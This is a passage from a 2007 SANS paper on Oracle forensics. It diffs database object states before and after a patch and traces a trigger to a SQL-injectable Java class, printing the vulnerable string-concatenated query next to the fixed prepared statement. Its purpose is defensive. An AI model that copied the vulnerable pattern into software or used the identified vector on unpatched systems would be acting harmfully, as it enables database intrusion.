After the CPU installation run the Packagestate procedure again using a new table name so that the Pre and Post results are kept in separate tables where they can be compared with less chance of a mistake.

IMPORTANT: At the line above "`where sys.obj$.TYPE#=11`" change 11 to 12 to add trigger states data to the relevant table. For a DBMS_UTILITY PLSQL check that works on VIEWS as well please refer to Oracle Forensics (Wright 2007).

We can run this query below to identify both post-CPU and pre-CPU states of the packages/triggers in the DB that have changed with the installation of the January 2007 CPU. This query would be run from the Depository which is a bastion host Oracle server purely for holding security checks and their results as well as correlated Audit logs from Oracle.

© SANS Institute 2007, As part of the Information Security Reading Room Author retains full rights.

This is the query to gain the differences between Post-CPU and Pre-CPU:

```
(((select * from packagestatesnew)
MINUS
(select * from packagestatesold))
UNION
((select * from packagestatesold)
MINUS
(select * from packagestatesnew)))
```

OWNER	NAMEIN	SOURCE$OBJID	OBJ$TYPE	COUNTOUT	CTIMEOUT	STIMEOUT	LASTDDLOUT	HASH
SYS	CDC_ALTER_CTABLE_BEFORE	39481	12	10	30-AUG-05 13.50.29	18-DEC-06 15.53.24	18-DEC-06 15.53.24	16524159887
SYS	CDC_ALTER_CTABLE_BEFORE	39481	12	10	30-AUG-05 13.50.29	16-FEB-07 10.21.30	16-FEB-07 10.21.30	16524159887
SYS	CDC_CREATE_CTABLE_AFTER	39482	12	10	30-AUG-05 13.50.29	18-DEC-06 15.53.24	18-DEC-06 15.53.24	16117458743
SYS	CDC_CREATE_CTABLE_AFTER	39482	12	10	30-AUG-05 13.50.29	16-FEB-07 10.21.30	16-FEB-07 10.21.30	16117458743
SYS	CDC_CREATE_CTABLE_BEFORE	39483	12	10	30-AUG-05 13.50.29	18-DEC-06 15.53.24	18-DEC-06 15.53.24	16230202805
SYS	CDC_CREATE_CTABLE_BEFORE	39483	12	10	30-AUG-05 13.50.29	16-FEB-07 10.21.30	16-FEB-07 10.21.30	16230202805
SYS	CDC_DROP_CTABLE_BEFORE	39484	12	10	30-AUG-05 13.50.29	18-DEC-06 15.53.24	18-DEC-06 15.53.24	17065109720
SYS	CDC_DROP_CTABLE_BEFORE	39484	12	10	30-AUG-05 13.50.29	16-FEB-07 10.21.30	16-FEB-07 10.21.30	17065109720
SYS	HTP	6014	11	1731	30-AUG-05 13.50.29	30-AUG-05 13.59.50	30-AUG-05 13.59.50	2724085336288
SYS	HTP	6014	11	1756	30-AUG-05 13.50.29	16-FEB-07 10.22.02	16-FEB-07 10.22.02	2776825623090
SYS	OWA_OPT_LOCK	6021	11	273	30-AUG-05 13.50.29	30-AUG-05 13.59.54	30-AUG-05 13.59.54	428880975429
SYS	OWA_OPT_LOCK	6021	11	286	30-AUG-05 13.50.29	16-FEB-07 10.22.07	16-FEB-07 10.22.07	447083097910
SYS	OWA_UTIL	6016	11	2422	30-AUG-05 13.50.29	30-AUG-05 13.59.52	30-AUG-05 13.59.52	3726617804705
SYS	OWA_UTIL	6016	11	2437	30-AUG-05 13.50.29	16-FEB-07 10.22.04	16-FEB-07 10.22.04	3750550097359

There are two results for each package that has changed; Pre-CPU and Post-CPU metadata. All of the Post-CPU packages were present in the Pre-CPU state table so we can infer that they were vulnerable previously and have been replaced by non-vulnerable packages. Given that the version of Oracle we have patched is Release 2 most of the vulnerabilities in the CPUJan2007 are fixed in this database version already which explains the small number of changes to the SYS schema packages. If

© SANS Institute 2007, As part of the Information Security Reading Room Author retains full rights.

we were applying the CPU to 10gR1 or 9iR2 then there would be many more changes. The yellow trigger has been disclosed as a vector for underlying vulnerabilities in the Oracle Hacker's Handbook (Litchfield, 2007) but not publicly by Oracle. (As an aside I use BBED in my new book Oracle Forensics (Wright, 2007) to show how abuse of this trigger can be ascertained by a Forensics analyst after an attack on Oracle). The red triggers are not disclosed as a vector by Oracle or any public source to-date, though as we can see they have also been compiled by the CPU installation. The change in these triggers show the requirement for both timestamp and checksum information on DB objects to verify change. The last_ddl_time (last compile time) has changed so one would assume that the trigger was new but on comparison with the pre CPU checksum the analyst can see that the trigger code is actually exactly the same. This fact shows the value of collecting all metadata and correlating it to ascertain facts to a high level of certainty which is also a basic principle of computer forensics.

The triggers that have been compiled by the CPU are actually vectors to access an underlying vulnerability. The chain can be followed using the DBA_DEPENDENCIES VIEW as shown below.

```
SELECT * FROM dba_dependencies WHERE name='CDC_DROP_CTABLE_BEFORE';
```

OWNER	NAME	TYPE	REFOWNER	REFERENCED_NAME
SYS	CDC_DROP_CTABLE_BEFORE	TRIGGER	SYS	STANDARD
SYS	CDC_DROP_CTABLE_BEFORE	TRIGGER	SYS	DBMS_STANDARD
SYS	CDC_DROP_CTABLE_BEFORE	TRIGGER	SYS	SYS
SYS	CDC_DROP_CTABLE_BEFORE	TRIGGER	PUBLIC	SYS
SYS	CDC_DROP_CTABLE_BEFORE	TRIGGER	SYS	DBMS_CDC_IPUBLISH

© SANS Institute 2007, As part of the Information Security Reading Room Author retains full rights.

So CDC_DROP_CTABLE_BEFORE trigger is dependant on DBMS_CDC_IPUBLISH.

According to the Oracle Hacker's Handbook (Litchfield, 2007) The DBMS_CDC_IPUBLISH package calls a Java method called ChangeTableTrigger. This Java is part of the ChangeTableTrigger.class file and is contained within CDC.jar. Let's see if the ChangeTableTrigger code has been changed by the CPU?

```
SELECT * FROM DBA_OBJECTS WHERE OBJECT_NAME='oracle/CDC/ChangeTableTrigger';
```

OWNER	OBJECT_NAME	OBJ_ID	OBJ_TYPE	CREATED	LAST_DDL_TIME	TIMESTAMP
SYS	oracle/CDC/ChangeTableTrigger	39455	JAVA CLASS	30-JUN-05	03-FEB-07	2007-02-03:13:21:48
PUBLIC	oracle/CDC/ChangeTableTrigger	39477	SYNONYM	30-JUN-05	30-JUN-05	2005-06-30:19:27:26

Yes it has, the LAST_DDL_TIME of the class has been changed by the CPU installation. This is the probable cause of the compilation of the triggers which are dependant on this code. The triggers are in the chain of dependency and also act as a vector to the underlying SQL injection vulnerability present in ChangeTableTrigger which was fixed in this case by the application of the January 2007 CPU. This is the dependency chain.

CDC_DROP_CTABLE_BEFORE
>DBMS_CDC_IPUBLISH
>oracle/CDC/ChangeTableTrigger

It is worth noting that the Oracle Alerts did not list CDC_DROP_CTABLE_BEFORE as a vector for this vulnerability and so carrying out a check like this enables the person responsible for the security of the Oracle database to thoroughly understand the implications of the vulnerabilities addressed by the CPU. They can now look for signs of attacks using that vector.

© SANS Institute 2007, As part of the Information Security Reading Room Author retains full rights.

Let's have a look at the source code to ChangeTableTrigger itself to verify that it has been changed by the CPU and in what way. This is the best way to verify vulnerability to a high level of certainty and requires the human expertise of the analyst.

Firstly decompress the Java archive file CDC.jar using WINRAR at http://www.rarlab.com/. We can use Jad at http://www.kpdus.com/jad.html to decompile the Java class files contained within.

```
C:\Documents and Settings\Paul\Desktop\cdc\oracle\CDC>jad *
Parsing AdvanceChangeSet.class... Generating AdvanceChangeSet.jad
Parsing CDCConnection.class... Generating CDCConnection.jad
Parsing CDCException.class... Generating CDCException.jad
Parsing CDCLock.class... Generating CDCLock.jad
Parsing CDCSystem.class... Generating CDCSystem.jad
Parsing ChangeSet.class... Generating ChangeSet.jad
Parsing ChangeSource.class... Generating ChangeSource.jad
Parsing ChangeTable.class... Generating ChangeTable.jad
Parsing ChangeTableTrigger.class... Generating ChangeTableTrigger.jad
Parsing ChangeView.class... Generating ChangeView.jad
Parsing ColumnList.class... Generating ColumnList.jad
Parsing ControlColumns.class... Generating ControlColumns.jad
Parsing NNUString.class... Generating NNUString.jad
Parsing ONBString.class... Generating ONBString.jad
Parsing PublishApi.class... Generating PublishApi.jad
Parsing Purge.class... Generating Purge.jad
Parsing PurgeTable.class... Generating PurgeTable.jad
Parsing SubscribeApi.class... Generating SubscribeApi.jad
Parsing Subscription.class... Generating Subscription.jad
Parsing SubscriptionHandle.class... Generating SubscriptionHandle.jad
Parsing SubscriptionWindow.class... Generating SubscriptionWindow.jad
Parsing YNString.class... Generating YNString.jad
```


© SANS Institute 2007, As part of the Information Security Reading Room Author retains full rights.

ChangeTableTrigger.jad contained the vulnerable SQL. Below is the fixed code which now uses a prepared statement which defends against SQL injection.

```
            String sqltext = "SELECT COUNT(*) FROM SYS.CDC_CHANGE_TABLES$ WHERE
CHANGE_TABLE_SCHEMA = ? AND CHANGE_TABLE_NAME = ?";
            int count = 0;
            try
            {
                pstmt = (OraclePreparedStatement)conn.prepareStatement(sqltext);
```

If we compare the above to the pre-CPU Java code in ChangeTableTrigger.class contained in the CDC.jar file as before:

```
String sqltext = "SELECT COUNT(*) FROM SYS.CDC_CHANGE_TABLES$ WHERE
CHANGE_TABLE_SCHEMA='" + schema + "' AND CHANGE_TABLE_NAME='" + tableName + "'";
            int count = 0;
            try
            {
                orset = (OracleResultSet)stmt.executeQuery(sqltext);
```

No prepared statement in the Pre-CPU code!!

This is the actual vulnerability that was fixed by the CPU and caused the change in the LAST_DDL_TIME of the ChangeTableTrigger which has filtered through to the dependent CDC_DROP_CTABLE_BEFORE trigger. This dependent trigger is a vector for the SQL injection vulnerability but was not mentioned by Oracle in the Alert. By following the chain the analyst is able to identify a likely way that an attacker will try to exploit the vulnerability.

As we can see it is very useful to be able to measure the effects of CPU application. Now we can write IDS signatures, audit rules and take other mitigating actions to protect against and detect the abuse of these triggers which may be crucial in situations where CPU implementation is not feasible or during the time

© SANS Institute 2007, As part of the Information Security Reading Room Author retains full rights.

gap between CPU release and the end of CPU testing. After all few of Oracle's customers can apply the CPU immediately as the patch has to be tested in case it breaks applications that run on the DB.

In order to see the historic effects of CPU's over time it will be very useful to store previous states of database objects before and after each CPU. Additionally comparison of these states will identify malware and objects that have been subject to unauthorized change. This DB state information should be kept off the database being tested and in a secure Depository server.

© SANS Institute 2007, Author retains full rights.

© SANS Institute 2007, As part of the Information Security Reading Room Author retains full rights.

6 Checking the checksummer

Using a Depository can also help solve the problem of checking the checksummer. The DBState checkingprocess so far has used a checksumming utility (DBMS_UTILITY) that is situated on the database being tested. Of course if the database had been attacked and DBA gained, then the attacker may have modified the checksum utility to report packages as being non-vulnerable when they are actually vulnerable. This anti-forensic attack can be defeated by checking the checksummer first using the following query (for 10gR1). This query should be safely stored on the remote Depository server to preserve its integrity.

```
SELECT sys.obj$.owner#, sys.obj$.NAME, sys.source$.obj#, To_timestamp(ctime),
to_timestamp(mtime), to_timestamp(stime),
AVG(dbms_utility.get_hash_value(source,1000000000,power(2,30)))from sys.source$ inner join
sys.obj$
ON sys.source$.obj#=sys.obj$.obj#
where sys.obj$.name =  'DBMS_UTILITY'
AND source like
'%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%'
GROUP BY  sys.obj$.owner#, sys.source$.obj#,ctime, mtime, stime,sys.obj$.NAME;
```


© SANS Institute 2007, As part of the Information Security Reading Room Author retains full rights.

7 Comparing database state changes over time using a Depository

These state checks on Packages, Views and Triggers need to be done using trusted queries from the Depository. Additionally backing up the checksums in a secure Depository over time will allow comparison with previous known database object states and correlation with archived audit logs to identify windows of past vulnerability. For instance, let us assume a new vulnerability is disclosed by Oracle and there is public exploit code available. Using the archived DBstates in the Depository it can be verified that the said packages were vulnerable going back for a year during which there may have been zero-day exploit code available in the underground. Therefore audit information archived for that year can be searched for actions on that package. This audit information would ideally include correlated IDS, Web server, firewall and Oracle audit logs using timestamp for integration. Oracle Audit is currently switched off by default and performance intensive. In 11g, Oracle's upcoming RDBMS release, Audit will be on by default and much less performance degrading. Therefore the possibility of archiving Audit in order to catch historical zero-day usage will be feasible.

In order to effectively protect, administrate and react to incidents on Oracle databases, security related resources should be kept off the target database and kept in a secure Depository that is used for nothing else apart from security, by the security team. It should be a locked down bastion host and also allow flexible integration, correlation and storage of security resources for all the databases in the server farm. It will be subject to the highest security measures of the whole network and not available to the DBA team partly to protect against

© SANS Institute 2007, As part of the Information Security Reading Room Author retains full rights.

internal abuse of power but also to protect in the instance where an attacker is able to gain DBA privileges on the production servers. Once DBA is gained by an attacker any audit logs on that server are easily deleted, even those at the OS using UTL_FILE. Therefore logging remotely to the Depository is a requirement for high security context. These measures will go along way to satisfying many compliancy requirements involved in SOX 404 (http://news.findlaw.com/hdocs/docs/gwbush/sarbanesoxley072302.pdf), PCI standards (https://www.pcisecuritystandards.org/), SB1386 and internal company policy.

Remote logging has been used at the OS for many years. 10gR2 allows Oracle remote logging using SYSLOG. Remote logging is even more important for Oracle due to the fact that privilege escalation is so easy and that forensically identifying an attackers tracks on the DB is harder than the OS due to the increased volatility and malleable nature of the Oracle RDBMS. Further details on remote Depository construction can be found in Oracle Forensics by the Author (Wright, 2007).

© SANS Institute2007, Author retains full rights.

© SANS Institute 2007, As part of the Information Security Reading Room Author retains full rights.

8 Conclusions

This paper has shown the reader what PLSQL injection is and how it can be exploited to gain DBA whilst bypassing current IDS technology. We then explored how to find PLSQL injection vulnerabilities in order to identify potential new zero-days. Then by comparing DBstates before and after January 2007 CPU installation both silently fixed bugs and mistakenly omitted fixes were identified in the CPU installation process. A differentiation was made between potential vectors of SQL injection such as triggers and the actual underlying source of vulnerability in dependency code. The process of tracing back the dependencies to join the vector to the source of the vulnerability were shown. The best verification of vulnerability was then used i.e. reading the code itself. The change made at code level by the CPU installation was inspected thus identifying the use of prepared statements by Oracle, in the patched code in order to secure against SQL injection.

The important stage of checking the checksummer was detailed along with the idea of a secure Depository server which can allow comparisons of DBstates over time. This comparison will identify failed patches, silently fixed packages, malware such as rootkits and tampered objects. Additionally correlation of the DBstate changes with centralized audit logs will allow identification of historic windows of vulnerability so that previous unauthorized actions, such as use of zero-day code, can be backtracked.

It is the DBA's responsibility to verify to a forensic level of certainty that the versions of PLSQL packages on their DB are the new non-vulnerable packages

© SANS Institute 2007, As part of the Information Security Reading Room Author retains full rights.

despite the vagaries in Oracle's patching mechanism mentioned previously. The DBStateChecker.sql PLSQL procedure used in conjunction with a Depository will assist in meeting this requirement. See www.oracleforensics.com/dbstatechecker.sql and http://www.rampant-books.com/book_2007_1_oracle_forensics.htm for more details. Thank you for reading and please feel free to contact the Author with feedback at paul.wright@oracleforensics.com

© SANS Institute 2007, Author retains full rights.

© SANS Institute 2007, As part of the Information Security Reading Room Author retains full rights.

9 References

1. Koret, J (2007) http://www.milw0rm.com/exploits/3177 , joxeankoret@yahoo.es

2. Litchfield, D (2007) The Oracle Hacker's Handbook, by Wiley.
http://eu.wiley.com/WileyCDA/WileyTitle/productCd-0470080221.html

3. Wright, P (2007) Oracle Forensics, by Rampant Press.
http://www.rampant-books.com/book_2007_1_oracle_forensics.htm

10 Appendices

URLs relevant to the ALTER SESSION SET EVENT issue

http://www.databasesecurity.com/oracle/oracle-security-pf.pdf

http://www.red-database-security.com/advisory/oracle_tde_wallet_password.html

http://www.pentest.co.uk/documents/utl_file.htm

http://www.petefinnigan.com/ramblings/how_to_set_trace.htm

http://www.lc.leidenuniv.nl/awcourse/oracle/server.920/a96540/statements_22a.htm

http://www.oracle.com/technology/deploy/security/pdf/securitynote210317.1_altersession.html

http://www.orafaq.com/faqdbain.htm

© SANS Institute 2007, As part of the Information Security Reading Room Author retains full rights.

Other URLs used referenced on the day of submission 23rd February 2007:

http://www.databasesecurity.com

http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpujan2007.html

http://cygwin.com/

http://www.sqltools.net/

SOX 404 http://news.findlaw.com/hdocs/docs/gwbush/sarbanesoxley072302.pdf

PCI standards https://www.pcisecuritystandards.org/

© SANS Institute 2007, Author retains full rights.

© SANS Institute 2007, As part of the Information Security Reading Room Author retains full rights.

Last Updated: July 16th, 2018

Upcoming SANS Training

Click Here for a full list of all Upcoming SANS Events by Location

SANS Riyadh July 2018	Riyadh, SA	Jul 28, 2018 - Aug 02, 2018	Live Event
SANS Pittsburgh 2018	Pittsburgh, PAUS	Jul 30, 2018 - Aug 04, 2018	Live Event
Security Operations Summit & Training 2018	New Orleans, LAUS	Jul 30, 2018 - Aug 06, 2018	Live Event
SANS Hyderabad 2018	Hyderabad, IN	Aug 06, 2018 - Aug 11, 2018	Live Event
Security Awareness Summit & Training 2018	Charleston, SCUS	Aug 06, 2018 - Aug 15, 2018	Live Event
SANS Boston Summer 2018	Boston, MAUS	Aug 06, 2018 - Aug 11, 2018	Live Event
SANS San Antonio 2018	San Antonio, TXUS	Aug 06, 2018 - Aug 11, 2018	Live Event
SANS August Sydney 2018	Sydney, AU	Aug 06, 2018 - Aug 25, 2018	Live Event
SANS New York City Summer 2018	New York City, NYUS	Aug 13, 2018 - Aug 18, 2018	Live Event
SANS Northern Virginia- Alexandria 2018	Alexandria, VAUS	Aug 13, 2018 - Aug 18, 2018	Live Event
SANS Krakow 2018	Krakow, PL	Aug 20, 2018 - Aug 25, 2018	Live Event
Data Breach Summit & Training 2018	New York City, NYUS	Aug 20, 2018 - Aug 27, 2018	Live Event
SANS Chicago 2018	Chicago, ILUS	Aug 20, 2018 - Aug 25, 2018	Live Event
SANS Prague 2018	Prague, CZ	Aug 20, 2018 - Aug 25, 2018	Live Event
SANS Virginia Beach 2018	Virginia Beach, VAUS	Aug 20, 2018 - Aug 31, 2018	Live Event
SANS San Francisco Summer 2018	San Francisco, CAUS	Aug 26, 2018 - Aug 31, 2018	Live Event
SANS Copenhagen August 2018	Copenhagen, DK	Aug 27, 2018 - Sep 01, 2018	Live Event
SANS SEC504 @ Bangalore 2018	Bangalore, IN	Aug 27, 2018 - Sep 01, 2018	Live Event
SANS Wellington 2018	Wellington, NZ	Sep 03, 2018 - Sep 08, 2018	Live Event
SANS Amsterdam September 2018	Amsterdam, NL	Sep 03, 2018 - Sep 08, 2018	Live Event
SANS Tokyo Autumn 2018	Tokyo, JP	Sep 03, 2018 - Sep 15, 2018	Live Event
SANS Tampa-Clearwater 2018	Tampa, FLUS	Sep 04, 2018 - Sep 09, 2018	Live Event
SANS MGT516 Beta One 2018	Arlington, VAUS	Sep 04, 2018 - Sep 08, 2018	Live Event
Threat Hunting & Incident Response Summit & Training 2018	New Orleans, LAUS	Sep 06, 2018 - Sep 13, 2018	Live Event
SANS Baltimore Fall 2018	Baltimore, MDUS	Sep 08, 2018 - Sep 15, 2018	Live Event
SANS Alaska Summit & Training 2018	Anchorage, AKUS	Sep 10, 2018 - Sep 15, 2018	Live Event
SANS Munich September 2018	Munich, DE	Sep 16, 2018 - Sep 22, 2018	Live Event
SANS London September 2018	London, GB	Sep 17, 2018 - Sep 22, 2018	Live Event
SANS Network Security 2018	Las Vegas, NVUS	Sep 23, 2018 - Sep 30, 2018	Live Event
SANS DFIR Prague Summit & Training 2018	Prague, CZ	Oct 01, 2018 - Oct 07, 2018	Live Event
Oil & Gas Cybersecurity Summit & Training 2018	Houston, TXUS	Oct 01, 2018 - Oct 06, 2018	Live Event
SANS Brussels October 2018	Brussels, BE	Oct 08, 2018 - Oct 13, 2018	Live Event
SANS Pen Test Berlin 2018	OnlineDE	Jul 23, 2018 - Jul 28, 2018	Live Event
SANS OnDemand	Books & MP3s OnlyUS	Anytime	Self Paced